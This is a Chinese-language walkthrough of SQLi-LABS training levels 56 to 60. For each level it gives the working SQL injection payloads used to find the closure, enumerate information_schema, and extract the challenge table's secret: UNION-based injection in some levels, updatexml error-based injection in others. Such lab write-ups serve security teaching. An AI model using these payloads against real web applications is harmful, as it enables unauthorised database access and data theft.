当前位置: 首页 > news >正文

SQLi-LABS靶场56-60通过攻略

less-56

1.判断注入点

?id=1' 页面不正常

2.判断闭合方式

?id=1') --+ 可以闭合成功

3.查看页面回显点

?id=-1')%20 union select 1,2,3--+

4.查询数据库名

?id=-1')%20 union select 1,database(),3--+

5.查询所有表

?id=-1')%20 union select 1,(select table_name from information_schema.tables where table_schema='challenges'),3--+

6.查询表的所有字段

?id=-1')%20 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='43kcrdhm86'),3--+

7.查询payload

?id=-1')%20 union select 1,(select group_concat(secret_N2VJ) from 43kcrdhm86),3--+

提交即可

less-57

这一关同上一关一样 只是闭合方式不同 这一关的闭合方式是双引号闭合

less-58

1.判断闭合方式

单引号可以闭合成功

2.查询数据库名

使用报错注入查询

?id=1' and updatexml(1,concat(1,database()),1)--+

3.查询所有表

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+

4.查询表的所有字段

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='oku1ceqf6n')),1)--+

5.查询payload

?id=1' and updatexml(1,concat(1,(select group_concat(secret_M0T5) from oku1ceqf6n)),1)--+

提交即可

less-59

这一关同上一关一样使用报错注入 不同的是这一关是数字型注入 闭合方式为整数型

less-60

1.判断闭合方式

?id=1") --+  闭合方式为双引号加括号

2.查询数据库的所有表

因为题目中以及给了数据库 所有直接查表即可

?id=1") and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+

3.查询表的所有字段

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='cxnzzdty'),0x7e),1)--+

4.查询payload

?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_MB6W) from cxnzzdty),0x7e),1)--+’


http://www.mrgr.cn/news/17890.html

相关文章:

  • 【网络基础】探索 NAT 技术:IP 转换、NAPT、NAT穿越及代理服务器
  • Windows 11家庭中文版中管理员阻止运行应用程序的问题
  • C++第四十四弹---Lambda表达式的妙用:高效解决编程中的匿名函数问题
  • 去中心化身份验证:Web3时代数字身份的革新
  • Python测试开发基础(一)
  • Ascend显卡创建虚拟vgpu实例
  • 安防监控视频打手机检测算法核心技术打手机检测算法源码、模型简介
  • C++多线程
  • 云原生主键模型:高效、弹性,省钱又省心
  • Oracle rac模式下undo表空间爆满的解决
  • 全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用
  • C++ 编译三环节
  • centos8 install .net8
  • 前端vue中怎么判断接口请求返回的时长
  • 页面滚动到指定位置——记录div滚动高度,并下次自动滚动到该位置
  • Shopee、Lazada等跨境平台如何获取优质的评价?
  • 09-02 周一 Ubuntu上使用docker-compose部署elasticsearch和kibana服务
  • C#上位机使用Microsoft.Office.Interop.Excel和EPPlus库对Excel或WPS表格进行写操作
  • 移情别恋c++ ദ്ദി˶ー̀֊ー́ ) ——9.模板进阶
  • 【功能自动化】使用HTMLTestRunner生成测试报告